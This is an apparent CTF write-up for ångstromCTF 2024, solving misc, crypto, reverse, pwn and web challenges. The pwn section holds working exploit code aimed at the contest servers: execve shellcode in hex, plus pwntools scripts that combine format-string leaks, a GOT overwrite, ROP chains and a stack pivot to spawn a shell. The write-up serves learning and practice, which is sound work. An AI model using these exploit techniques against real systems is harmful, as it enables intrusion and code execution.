## ångstromCTF_2024 : https://angstromctf.com/ ![image](https://hackmd.io/_uploads/rk65CmX40.png) ![image](https://hackmd.io/_uploads/Bkq20774R.png) ![image](https://hackmd.io/_uploads/S1qgokXVC.png) ## MICS ### kcehC ytinaS )csim# ni cipot lennahc eht s'ti( galf eht rof drocsiD ruo nioJ _as it said in reverse, join the discord server to get the flag, the flag is in the #misc topic. }egassem_terces_ym_edoced_uoy_did_woh{ftca _Then you just need to reverse the character and get the flag > Flag: actf{how_did_you_decoded_my_secret_message} ### Putnam Solve the putnam, get the flag. Easy right? Connect to it at nc challs.actf.co 31337 _This challenge is easy, you just need to solve an math problem ![image](https://hackmd.io/_uploads/SkE3eUSN0.png) > Flag: actf{just_a_tad_easier_than_the_actual_putnam} ### Trip: What road was this this photo taken on? For example, if the road was "Colesville Road" the flag would be actf{colesville}. _For this challenge, you just need to exif the picture to get the gps location: ![image](https://hackmd.io/_uploads/r1mCW8H4R.png) _We see that it is in Chincoteague road. > Flag: actf{chincoteague} ### Aw man: - I based on the title to know that there is something was hidden in the picture. - Using tool `steghide` to check: ![image](https://hackmd.io/_uploads/BJtPp_wV0.png) - I found a .txt file in this pic and the passphrase is white space. I get this file by steghide. ![image](https://hackmd.io/_uploads/BJIWAuP4A.png) - An encrypt text was extracted. Use cybercheft to decrypt. ![image](https://hackmd.io/_uploads/rJUOAdD40.png) `Flag: actf{crazy?_i_was_crazy_once}` ### Do you wanna build a snow man: - A picture is corrupted, check it's hex! ![image](https://hackmd.io/_uploads/BkidkFwNC.png) ![image](https://hackmd.io/_uploads/Hy0_bKwEA.png) - As I guess, the header of this pic was wrong. The correct once is: `FF D8 FF E0 00 10 4A 46 49 46 ` . Fix it and we get the flag! ![image](https://hackmd.io/_uploads/B1SKgtv40.png) ![image](https://hackmd.io/_uploads/By3jlKP4C.png) `Flag: actf{built_the_snowman}` ## Crypto ### Erm what the enigma ![image](https://hackmd.io/_uploads/BylCGitHV0.png) This challenge is a story about the enigma machine, and the string brht{d_imhw_cexhrmwyy_lbvkvqcf_ldcz} is generated from it. We need to understand how this machine works to find the flag. Luckily, there is a website that helps us decode the string from enigma: https://www.dcode.fr/enigma-machine-cipher ![image](https://hackmd.io/_uploads/rJ0M3KBV0.png) `Flag: `actf{i_love_enigmatic_machines_mwah} ### PHIlosophy ![image](https://hackmd.io/_uploads/HJCzaYrEC.png) Code: ```python! from Crypto.Util.number import getPrime from secret import flag p = getPrime(512) q = getPrime(512) m = int.from_bytes(flag.encode(), "big") n = p * q e = 65537 c = pow(m, e, n) phi = (p + 1) * (q + 1) print(f"n: {n}") print(f"e: {e}") print(f"c: {c}") print(f"\"phi\": {phi}") """ n: 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673 e: 65537 c: 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758 "phi": 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308 """ ``` This challenge is an RSA challenge, but we don't know $p$ and $q$ yet, even when using factordb to factor n into prime factors. But we can find it by transforming the expressions: $$phi=(p+1)*(p+1)=pq+p+q+1$$ Because we know $n=pq$ and $phi$, we know $p+q$ $$p+q=phi-n-1$$ Now we have $p+q$ and $pq$, applying Viete's theorem we have $p,q$ is the solution of the equation: $$x^2-(p+q)x+pq=0$$ Solving the quadratic equation to find p and q, we will find the flag like the RSA lessons have done Code: ```python! from Crypto.Util.number import long_to_bytes import gmpy2 n = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084554536903236375579771401257801115918586590639686117179685431627540567894983403579070366895343181435791515535593260495162656111028487919107927692512155290673 e = 65537 c = 64457111821105649174362298452450091137161142479679349324820456191542295609033025036769398863050668733308827861582321665479620448998471034645792165920115009947792955402994892700435507896792829140545387740663865218579313148804819896796193817727423074201660305082597780007494535370991899386707740199516316196758 phi = 86088719452932625928188797700212036385645851492281481088289877829109110203124545852827976798704364393182426900932380436551569867036871171400190786913084573410416063246853198167436938724585247461433706053188624379514833802770205501907568228388536548010385588837258085711058519777393945044905741975952241886308 sum = phi - n - 1 delta = sum**2 - 4*n p = (sum + gmpy2.iroot(delta,2)[0])//2 q = sum - p phi = (p-1)*(q-1) d = pow(e,-1,phi) flag = pow(c,d,n) print(long_to_bytes(flag)) ``` ``` Flag: actf{its_okay_i_figured_out_phi_anyway} ``` ### Layers ![image](https://hackmd.io/_uploads/ryNmtm74R.png) I love this one Code: ```python! import hashlib import itertools import os def xor(key, data): return bytes([k ^ d for k, d in zip(itertools.cycle(key), data)]) def encrypt(phrase, message, iters=1000): key = phrase.encode() for _ in range(iters): key = hashlib.md5(key).digest() message = xor(key, message) return message print('Welcome to my encryption service!') print('Surely encrypting multiple times will make it more secure.') print('1. Encrypt message.') print('2. Encrypt (hex) message.') print('3. See encrypted flag!') phrase = os.environ.get('FLAG', 'missing') choice = input('Pick 1, 2, or 3 > ') if choice == '1': message = input('Your message > ').encode() encrypted = encrypt(phrase, message) print(encrypted.hex()) if choice == '2': message = bytes.fromhex(input('Your message > ')) encrypted = encrypt(phrase, message) print(encrypted.hex()) elif choice == '3': print(encrypt(phrase, phrase.encode()).hex()) else: print('Not sure what that means.') ``` So the server will give us 1 out of 3 Encrypt message or Encrypt flag. I noticed the Encrypt flag never change so it's giving us two infomation one constantly change. When i try to encrypt my message 'actf{' it returns the same value as the prefix of the encrypt flag so all i should do is brute force. I also calculate the length of the flag is 38 and every 2 bits is one character. **script:** ```python! from pwn import * def check_prefix(prefix): r = remote('challs.actf.co', 31398) response = r.recvuntil(b'Pick 1, 2, or 3 > ') r.sendline(b'1') response = r.recvuntil(b'Your message > ') r.sendline(prefix) response = r.recvline() r.close() return response.strip() enc = "fb7fdbf9e714a08ce9cdf109bb527acba27accfeff16fcdcb1cdf358bb557898aa2d9da9af5c" prefix_length = 10 # Chiều dài của phần đã biết 'actf{' flag = ['actf{593a7043ca58fcac7ec972e3dcf01263}'] found = b'actf{' alphabet = "_0123456789abcdefghijklmnopqrstuvwxyz" # Bảng chữ cái và dấu gạch dưới tim = 2 for i in range(38): for char in alphabet: prefix = found + bytes([ord(char)]) result = check_prefix(prefix) log.info(result) log.info(enc[:prefix_length + tim]) if result.decode()== enc[:prefix_length + tim]: found = found + bytes([ord(char)]) flag.append(char) tim = tim+2 break log.info(found) flag.append("}") print("".join(flag)) #fb7fdbf9e714 #fb7fdbf9e714 ``` flag: **actf{593a7043ca58fcac7ec972e3dcf01263}** ### Random rabin ![image](https://hackmd.io/_uploads/Bk3X3mmNR.png) ```python! from random import SystemRandom from Crypto.Util.number import getPrime from libnum import xgcd random = SystemRandom() def primegen(): while True: p = getPrime(512) if p % 4 == 3: return p def keygen(): p = primegen() q = primegen() n = p * q return n, (n, p, q) def encrypt(pk, m): n = pk return pow(m, 2, n) def decrypt(sk, c): n, p, q = sk yp, yq, _ = xgcd(p, q) mp = pow(c, (p + 1)//4, p) mq = pow(c, (q + 1)//4, q) s = yp * p * mq % n t = yq * q * mp % n rs = [(s + t) % n, (-s - t) % n, (s - t) % n, (-s + t) % n] r = random.choice(rs) return r def game(): pk, sk = keygen() print(f'pubkey: {pk}') secret = random.randbytes(16) m = int.from_bytes(secret, 'big') print(f'plaintext: {decrypt(sk, encrypt(pk, m))}') guess = bytes.fromhex(input('gimme the secret: ')) return guess == secret if __name__ == '__main__': for _ in range(64): success = game() if not success: exit() with open('flag.txt') as f: flag = f.read().strip() print(flag) ``` Rabin cryptosystem: https://en.wikipedia.org/wiki/Rabin_cryptosystem We got one of the four roots and we know that x^2 = m mod n. It's easy to know encrypt m mod n but how can we calculate m from m^2(mod n). I noticed that n is very big compare to m so I just do the square root. Script: ```python! #!/usr/bin/env python3 from pwn import * from Crypto.Util.number import long_to_bytes import gmpy2 def recv(): r = remote('challs.actf.co', 31300) for i in range(64): r.recvuntil(b'pubkey: ') text = r.recvuntil(b'plaintext: ') t = text.split(b'\n')[0] response = r.recvuntil(b'gimme the secret: ') # Tách phần plaintext từ response res = response.split(b'\n')[0] x = int(res.decode()) n = int(t.decode()) #log.info (x) #log.info (n) m2 = (pow(x,2,n)) m = int(gmpy2.isqrt(gmpy2.mpz(m2))) flag = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big') r.sendline(flag.hex()) if i == 63: f1 = r.recvuntil(b'actf{') f2 = r.recvuntil(b'}') log.info(f1,f2) print('yes') r.close() #actf{f4ncy_squ4re_r00ts_53a370c33f192973} recv() ``` #### **BLAHAJ** **Disclaimer**: I didn't solve this challenge all i do is combine writeups and instructions on discord in order to understand how to solve this. credit: https://connor-mccartney.github.io/cryptography/rsa/BLAHAJ-angstrom-CTF-2024?fbclid=IwAR1f9sJ0sm0Sv4rDTxF1RzA03TiExxc0LDCAOGqmmnnGgeiGx629-f31hSE ```PR.<p, q, n, a, b, x, y> = PolynomialRing(ZZ) f1 = p*q - n f2 = p + b*q - x f3 = q + a*p - y for eq in Ideal([f1, f2, f3]).groebner_basis(): print(eq) ``` ``` n*a*b + q*x + p*y - x*y - n #we will use this equation p^2 + n*b - p*x p*q - n q^2 + n*a - q*y p*a + q - y q*b + p - x ``` $$x = b*q + p$$ $$=>q*x = bq^2 + pq = bq^2 + n(1)$$ $$y = a*p + q$$ $$=> p*y = ap^2+ pq = ap^2 + n(2)$$ *We also have* $$n*a*b + q*x + p*y - x*y - n = 0$$ $$=>x*y = n*a*b + q*x + p*y - n (3)$$ from (1),(2) and (3) we have: $$xy = n*ab + bq^2 + ap^2 + 2n - n$$ then we mod both side with n $$<=> x*y (mod n) = bq^2 + ap^2 (4)$$ so we from (1),(2) and (4) we can say x*y (mod n) == q*x + p*y (mod n) => p = (x*y - q*x)/y = x - q(x/y) Script: ```python! from sage.all import * c=2084015642966578282323320320430355169303796428932452813616522534642993911885394832889877216337047505539910273209203092431502448659110975363836148150333450975665054754794923282649866834797382152974537871637107602980242305752842881056832372729032719323542397731147821640234181272537527934691830138813076673120558790685225545176722374373891797444430162049094331866632430714818874728168815552807267537023134887147693780578518721495129472480845244586874832711656372700340333956532029558890132512276495501200465374040059705096729628227299657939763878581814774444365099164760074348408594002376240830368408586554430584367239 n=5054759650831149212497593612117505449996534385400799412730981223889391367155509695417999090910848750197375100341995228567935542100150279063805945642486626676563744817810946769932250256245882026085508665771131635110277852237029849869509707637709162425864373201102790718464450861787668024958787992996715870537273213999452948215564503811414448019655761914535646338206972306327692776792357656461421160012732874929753400746379737081861110621084719920237555759371086828748564360804144357313056202764375401039317055078455329940265973052825170224804217772389893623634664438855142967283765161646402518311874260437023116525027 x=14624164038828170251441254789590748299059493407127408167381909039718004816732842597998978394090418984661609925783012574638050052448399168193536431334288702858151820090630198056959727167341057230779720998603705567821824977324339182361973824850629918120718796161913475916523630822110582289148982548632694537423158073771024615682852893559402668337273941915650824074226258103607152649283649471317242038305999409041659019944804416273274057125302350242520142492153556081164794428695882962406952831655367215074021698796576010502956218034153621531037983312180680329891048894826768653762528273739711501728033951545847806707848 y=1510897008373983998701686017209922960816127339466860789588606160332147878962564913406764611385229470849971288077374239278171471973749602656414838820558074700119192355231338991849403695036849047083282822255108161230346034624768585764808760248402952634113444599722515269998684427399124583405247144573527109975222081257008029790260559860849979421716752798127739488994858649526260912935259888277927955180906055358279957687314992052797112774530972530343550573798533793482820201610887225201749606682312677680359451371010180070950980849389904579670739506805226809592052548210734843148295456283103192907412693805696885095055 lll=matrix(ZZ,[ [1,0,x/-mod(y,n)], [0,n,x], [0,0,n], ]).LLL() pari.addprimes(vector([-5,0,1])*lll) print(int(mod(c,n).nth_root(65537)).to_bytes(128,'big')) ``` ## Reverse ### Guess the flag Code: ``` c int __fastcall main(int argc, const char **argv, const char **envp) { char *v3; // rbx char _0[72]; // [rsp+0h] [rbp+0h] BYREF unsigned __int64 vars48; // [rsp+48h] [rbp+48h] vars48 = __readfsqword(0x28u); puts("Go ahead, guess the flag: "); v3 = _0; fgets(_0, 0x3F, stdin); while ( strlen(_0) > v3 - _0 ) { *v3++ ^= 1u; } if ( !strcmp(_0, "`bugzbnllhuude^un^uid^md`ru^rhfohghb`ou^chu|") ) { puts("Correct! It was kinda obvious tbh."); } else { puts("Wrong. Not sure why you'd think it'd be that."); } return 0; } ``` As we can see it will take our input and xor with '1' then strcmp with a string so all we do is xor that string with 1. **script:** ``` python enc = b'`bugzbnllhuude^un^uid^md`ru^rhfohghb`ou^chu|' key = 1 flag = [chr(i^key) for i in enc] print("".join(flag)) ``` flag: **actf{committed_to_the_least_significant_bit}** ### switcher This one is easy because we can see the flag check right away. ```c void __fastcall sub_5540(_BYTE *a1) { _BYTE *v1; // rdi _BYTE *v2; // rdi _BYTE *v3; // rdi _BYTE *v4; // rdi _BYTE *v5; // rdi _BYTE *v6; // rdi _BYTE *v7; // rdi _BYTE *v8; // rdi _BYTE *v9; // rdi _BYTE *v10; // rdi _BYTE *v11; // rdi _BYTE *v12; // rdi _BYTE *v13; // rdi _BYTE *v14; // rdi _BYTE *v15; // rdi _BYTE *v16; // rdi _BYTE *v17; // rdi _BYTE *v18; // rdi _BYTE *v19; // rdi _BYTE *v20; // rdi _BYTE *v21; // rdi _BYTE *v22; // rdi _BYTE *v23; // rdi _BYTE *v24; // rdi _BYTE *v25; // rdi _BYTE *v26; // rdi _BYTE *v27; // rdi _BYTE *v28; // rdi _BYTE *v29; // rdi _BYTE *v30; // rdi _BYTE *v31; // rdi _BYTE *v32; // rdi _BYTE *v33; // rdi _BYTE *v34; // rdi _BYTE *v35; // rdi _BYTE *v36; // rdi if ( *a1 == 0x6A ) { v36 = a1 + 1; if ( *v36 == 0x75 ) { v35 = v36 + 1; if ( *v35 == 0x6D ) { v34 = v35 + 1; if ( *v34 == 0x70 ) { v33 = v34 + 1; if ( *v33 == 0x69 ) { v32 = v33 + 1; if ( *v32 == 0x6E ) { v31 = v32 + 1; if ( *v31 == 0x67 ) { v30 = v31 + 1; if ( *v30 == 0x5F ) { v29 = v30 + 1; if ( *v29 == 0x6D ) { v28 = v29 + 1; if ( *v28 == 0x79 ) { v27 = v28 + 1; if ( *v27 == 0x5F ) { v26 = v27 + 1; if ( *v26 == 0x77 ) { v25 = v26 + 1; if ( *v25 == 0x61 ) { v24 = v25 + 1; if ( *v24 == 0x79 ) { v23 = v24 + 1; if ( *v23 == 0x5F ) { v22 = v23 + 1; if ( *v22 == 0x74 ) { v21 = v22 + 1; if ( *v21 == 0x6F ) { v20 = v21 + 1; if ( *v20 == 0x5F ) { v19 = v20 + 1; if ( *v19 == 0x74 ) { v18 = v19 + 1; if ( *v18 == 0x68 ) { v17 = v18 + 1; if ( *v17 == 0x65 ) { v16 = v17 + 1; if ( *v16 == 0x5F ) { v15 = v16 + 1; if ( *v15 == 0x66 ) { v14 = v15 + 1; if ( *v14 == 0x6C ) { v13 = v14 + 1; if ( *v13 == 0x61 ) { v12 = v13 + 1; if ( *v12 == 0x67 ) { v11 = v12 + 1; if ( *v11 == 0x5F ) { v10 = v11 + 1; if ( *v10 == 0x6F ) { v9 = v10 + 1; if ( *v9 == 0x6E ) { v8 = v9 + 1; if ( *v8 == 0x65 ) { v7 = v8 + 1; if ( *v7 == 0x5F ) { v6 = v7 + 1; if ( *v6 == 0x62 ) { v5 = v6 + 1; if ( *v5 == 0x79 ) { v4 = v5 + 1; if ( *v4 == 0x5F ) { v3 = v4 + 1; if ( *v3 == 0x6F ) { v2 = v3 + 1; if ( *v2 == 0x6E ) { v1 = v2 + 1; if ( *v1 == 0x65 ) { sub_1200(v1 + 1); } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } } ``` flag: **actf{jumping_my_way_to_the_flag_one_by_one}** ### Polyomino Ok this one is hard tbh ;( **code**: ```c __int64 __fastcall main(int a1, char **a2, char **a3) { __int64 v3; // rdx __int64 v4; // rdi __int64 v5; // r11 __int64 *v6; // r10 int v7; // esi __int64 v8; // rcx __int64 *v9; // rax __int64 v10; // rdx __int64 v11; // rdx unsigned __int64 v12; // r9 int v13; // eax char *v14; // rbx _BYTE *v15; // rbp unsigned __int8 v16; // di __int64 v18[4]; // [rsp+0h] [rbp-78h] BYREF char v19[26]; // [rsp+20h] [rbp-58h] BYREF char v20[26]; // [rsp+3Ah] [rbp-3Eh] BYREF char v21; // [rsp+54h] [rbp-24h] BYREF unsigned __int64 v22; // [rsp+58h] [rbp-20h] v22 = __readfsqword(0x28u); __printf_chk(1LL, "I'm practicing my math skills. Give me nine integers: ", a3); __isoc99_scanf( "%d %d %d %d %d %d %d %d %d", &dword_5640A84240A0 + 0xFFFFFFF8, &dword_5640A84240A0 + 0xFFFFFFF9, &dword_5640A84240A0 + 0xFFFFFFFA, &dword_5640A84240A0 + 0xFFFFFFFB, &dword_5640A84240A0 + 0xFFFFFFFC, &dword_5640A84240A0 + 0xFFFFFFFD, &dword_5640A84240A0 + 0xFFFFFFFE, &dword_5640A84240A0 + 0xFFFFFFFF, &dword_5640A84240A0); __printf_chk(1LL, "Hmm, let me think", v3); fflush(stdout); usleep(0x493E0u); putchar(0x2E); fflush(stdout); usleep(0x493E0u); putchar(0x2E); fflush(stdout); usleep(0x493E0u); puts("."); usleep(0x7A120u); v4 = -60LL; v5 = 0x400C0210000001LL; do { v6 = &qword_5640A8424080; v7 = 0; v8 = 1LL; v9 = &qword_5640A8424080; do { v10 = *(int *)v9; v9 = (__int64 *)((char *)v9 + 4); v11 = v8 * v10; v8 *= v4; v7 += v11; } while ( &unk_5640A84240A4 != (_UNKNOWN *)v9 ); if ( (_DWORD)v4 == 0x2C || (_DWORD)v4 == 0x3A || (v12 = (unsigned int)(v4 + 0x25), (unsigned int)v12 <= 0x36) && _bittest64(&v5, v12) ) { if ( v7 ) { LABEL_x388: puts("Those aren't the right numbers. Try again!"); return 1LL; } } else if ( !v7 ) { goto LABEL_x388; } ++v4; } while ( v4 != 0x3C ); if ( dword_5640A84240A0 != 1 ) { do { v13 = *(_DWORD *)v6; v6 = (__int64 *)((char *)v6 + 4); v11 = (unsigned int)(v13 >> 0x1F); LODWORD(v11) = v13 % dword_5640A84240A0; *((_DWORD *)v6 + 0xFFFFFFFF) = v13 / dword_5640A84240A0; } while ( v6 != (__int64 *)&unk_5640A84240A4 ); } __printf_chk(1LL, "Correct! Here's the flag: ", v11); v14 = v19; v18[0] = qword_5640A8424080; v15 = &unk_5640A8424020; v18[1] = qword_5640A8424088; LOWORD(v18[2]) = dword_5640A8424090; WORD1(v18[2]) = dword_5640A8424094; WORD2(v18[2]) = dword_5640A8424098; HIWORD(v18[2]) = dword_5640A842409C; LOWORD(v18[3]) = dword_5640A84240A0; qmemcpy(v19, v18, sizeof(v19)); qmemcpy(v20, v18, sizeof(v20)); do { v16 = *v15++ ^ *v14++; v14[0xFFFFFFFF] = v16; putchar(v16); } while ( &v21 != v14 ); putchar(0xA); return 0LL; } ``` this function will take 9 intgers (a1..a9) from the inputs, then do some math... There is v4 which is -60 it will increase until v4!=0x3C which is 58 (v4 value will be x) we have to do this equation with each v4 value. v7 = x^0*a1 + x^1*a2 ... x^8*a9 (1) We don't need to solve this polynomials, we've already had the zeros of the polynomials, which is roots = [-37,-9,-4, 5, 6, 44, 58, 17 ]. So the problem is its coefficients to know more about this read https://www.geeksforgeeks.org/relationship-between-zeroes-and-coefficients-of-a-polynomial/ we can express (1) like this (x+37)*(x+9)*(x+4)*(x-5)*(x-6)*(x-44)*(x-58)*(x-17) Here is the script: ```python! import numpy as np n = [1, -80, -358, 121272, -1364231, -12168520, 122783468, 134045088, -1733624640] dem = 8 for i in range(9): print(n[i+dem],end =" ") dem = dem - 2 print('\n') import sympy as sp # Khai báo biến x x = sp.symbols('x') roots = [-37,-9,-4, 5, 6,44,58,17 ] # Tạo đa thức từ các nghiệm polynomial = sp.prod([x - r for r in roots]) # Thu gọn đa thức polynomial = sp.expand(polynomial) coefficients = sp.Poly(polynomial, x).all_coeffs() # Hiển thị đa thức và các hệ số print(polynomial) print(coefficients) ``` ## Pwn ### Presidential #### Overall ```python= #!/usr/local/bin/python import ctypes import mmap import sys import os print("This process has the PID", os.getpid()) flag = "redacted" print("White House declared Python to be memory safe :tm:") buf = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC) ftype = ctypes.CFUNCTYPE(ctypes.c_void_p) fpointer = ctypes.c_void_p.from_buffer(buf) f = ftype(ctypes.addressof(fpointer)) u_can_do_it = bytes.fromhex(input("So enter whatever you want 👍 (in hex): ")) buf.write(u_can_do_it) f() del fpointer buf.close() print("byebye") ``` #### Only give the shellcode in hex to get the shell ```a= lea rdi, [rip + binsh] xor rax, rax mov al, 0x3b xor rsi, rsi xor rdx, rdx syscall binsh: .asciz "/bin/sh" ``` **488d3d0d0000004831c0b03b4831f64831d20f052f62696e2f736800** ### Bap #### Overall ***Basic format string + ROP*** ![image](https://hackmd.io/_uploads/S1KIJt2NC.png) ![image](https://hackmd.io/_uploads/rkBDkY3EA.png) ![image](https://hackmd.io/_uploads/HkxcJK24A.png) - **gets()** =)))) #### Approach ***Leak libc -> ovewrite return address to call main again -> ROP*** ![image](https://hackmd.io/_uploads/SkLWxYnN0.png) - So, I need to use index 29. ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./bap', checksec=False) #libc = ELF('./libc.so.6', checksec=False) libc = exe.libc if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *main+47 b *main+64 b *main+86 """) elif len(sys.argv) == 3: r = remote('challs.actf.co', 31323) else: r = process(exe.path) payload = b'|%29$p' payload += b'a'*18 payload += p64(0x000000000040101a) #ret payload += p64(exe.sym['main']) r.sendlineafter(b': ', payload) r.recvuntil(b'|') __libc_start_call_main_128 = int(r.recvn(14), 16) log.info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128)) libc.address = __libc_start_call_main_128 - 128 - 0x1dc0 - 0x28000 log.info("libc base: " + hex(libc.address)) system = libc.symbols['system'] binsh = next(libc.search(b'/bin/sh\x00')) log.info("The address of libc: " + hex(libc.address)) poprdi_ret = libc.address + 0x000000000002a3e5 win = b'a'*24 win += p64(0x000000000040101a) #ret win += p64(poprdi_ret) win += p64(binsh) win += p64(system) r.sendlineafter(b': ', win) r.interactive() ``` ### Exam #### Overall It is the problem about number of integer. ```cpp= int __fastcall main(int argc, const char **argv, const char **envp) { FILE *stream; // [rsp+8h] [rbp-E8h] char v5[64]; // [rsp+10h] [rbp-E0h] BYREF char s[152]; // [rsp+50h] [rbp-A0h] BYREF unsigned __int64 v7; // [rsp+E8h] [rbp-8h] v7 = __readfsqword(0x28u); setbuf(stdout, 0LL); printf("How much should I not trust you? >:)\n: "); __isoc99_scanf("%d", &detrust); fgets(s, 150, stdin); if ( detrust >= 0 ) { trust_level -= detrust; if ( trust_level == threshold ) { puts("What kind of cheating are you doing?"); puts("You haven't even signed your statement yet!"); puts("You are BANNED from all future AP exams!!!"); } else { while ( trust_level < threshold ) { puts("\nI don't trust you enough >:)"); printf("Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n: "); fgets(s, 150, stdin); if ( !strcmp( s, "I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any " "information about any section of this exam.\n") ) --trust_level; } stream = fopen("flag.txt", "r"); fgets(v5, 64, stream); puts("\nYou will now take the multiple-choice portion of the exam."); puts("You should have in front of you the multiple-choice booklet and your answer sheet. "); printf("You will have %s minutes for this section. Open your Section I booklet and begin.\n", v5); } } else { puts("Don't try to trick me into trusting you >:("); } return 0; } ``` ![image](https://hackmd.io/_uploads/Bk7xVtnE0.png) - **trust_level = 0** ![image](https://hackmd.io/_uploads/H1zgHt240.png) - **threshold = 0x7ffffffe** The flow of the program - Check detrust >=0, if not exit() - Then **trust_level -= detrust**, it means: **trust_level = -detrust** - Call loop while(trust_level < threshold) if input string s match the string in the code above -> **--trust_level**. - Finally, I get the flag #### Bug - **Number is signed.** - So, i will input 0x7fffffff, so trust_level will: 0x80000001. After, it minus several times it will be 0x7fffffff - Thus, I get the flag. #### Script ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./exam', checksec=False) if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *main+113 b *main+157 b *main+301 b *main+337 b *main+339 """) elif len(sys.argv) == 3: r = remote('challs.actf.co', 31322) else: r = process(exe.path) r.sendafter(b': ', b'2147483647') r.sendline(b'Hello') try: while True: r.recvuntil(b'Prove your trustworthyness by reciting the statement on the front cover of the Section I booklet >:)\n:') r.sendline(b'I confirm that I am taking this exam between the dates 5/24/2024 and 5/27/2024. I will not disclose any information about any section of this exam.') except Exception as e: pass r.interactive() ``` ### Og #### Overall ![image](https://hackmd.io/_uploads/r1bQz92EA.png) ![image](https://hackmd.io/_uploads/SJTEMq2EC.png) The program allow me input one time. Then exit #### Bug ![image](https://hackmd.io/_uploads/Hy_fX924A.png) ```cpp= unsigned __int64 go() { char s[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); setbuf(stdin, 0LL); setbuf(stdout, 0LL); setbuf(stderr, 0LL); printf("kill $PPID; Enter your name: "); fgets(s, 66, stdin); printf("Gotta go. See you around, "); printf(s); return v2 - __readfsqword(0x28u); } ``` ***fmtstr + bof*** #### Approach Because I only have one time to input, I must find the way to rewind the go function again. The approach is that I will overwrite the __stack_chk_fail@got.plt Although I can use bof, the program limits max one gadget. Therefore, I need to use technique stack pivot(leave ; ret) to pop the shell. **fmtstr:** leak the canary, the libc and the stack. **bof:** get the gadget. #### Script ```python= from pwn import * import sys context.log_level = 'debug' context.binary = exe = ELF('./og', checksec=False) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) if len(sys.argv) == 2: r = process(exe.path) gdb.attach(r, gdbscript=""" b *main b *go+126 b *go+146 b *go+163 b *go+190 """) elif len(sys.argv) == 3: r = remote('challs.actf.co', 31312) else: r = process(exe.path) def info(s): return log.info(s) #leak canary, leak libc, call main again #offset_canary = 40 #%27$p|%13$p #canary + ret #input from %6$p """ pwndbg> disass 0x401070 Dump of assembler code for function __stack_chk_fail@plt: 0x0000000000401070 <+0>: endbr64 0x0000000000401074 <+4>: bnd jmp QWORD PTR [rip+0x2f9d] # 0x404018 <__stack_chk_fail@got.plt> 0x000000000040107b <+11>: nop DWORD PTR [rax+rax*1+0x0] pwndbg> x/gx 0x404018 0x404018 <__stack_chk_fail@got.plt>: 0x0000000000401030 """ payload_leak = b'|%33$p|%15$p||%46$p|%4451c' payload_leak += b'%10$hn' payload_leak += p64(0x404018) #overwritestackcheckfail.got payload_leak += b'a'*16 r.sendlineafter(b'kill $PPID; Enter your name: ', payload_leak) r.recvuntil(b'|') canary_leak = int(r.recvn(18), 16) r.recvuntil(b'|') __libc_start_call_main_128 = int(r.recvn(14), 16) r.recvuntil(b'||') buf_stack_leak = int(r.recvn(14), 16) - 328 libc.address = __libc_start_call_main_128 - 0x1d90 - 0x28000 pop_rdi_ret = libc.address + 0x000000000002a3e5 binsh = next(libc.search(b'/bin/sh\x00')) system = libc.symbols['system'] info("The address of buf leak: " + hex(buf_stack_leak)) info("Canary leak: " + hex(canary_leak)) info("The address of __libc_start_call_main_128: " + hex(__libc_start_call_main_128)) info("The address of libc: " + hex(libc.address)) info("pop_rdi_ret: " + hex(pop_rdi_ret)) info("binsh: " + hex(binsh)) info("system: " + hex(system)) payload = p64(pop_rdi_ret) payload += p64(binsh) payload += p64(system) payload += b'b'*16 payload += p64(canary_leak) payload += p64(buf_stack_leak - 0x40 - 0x8) payload += p64(0x0000000000401253) #leave ; ret r.sendlineafter(b'kill $PPID; Enter your name: ', payload) r.interactive() ``` ## Web ### Spinner _First, look at the source code and you found the method to get the flag. ![image](https://hackmd.io/_uploads/rJiRJ87EC.png) _Use burpsuite to change the method and you get the flag ![image](https://hackmd.io/_uploads/S1sRbI7ER.png) > Flag: actf{b152d497db04fcb1fdf6f3bb64522d5e}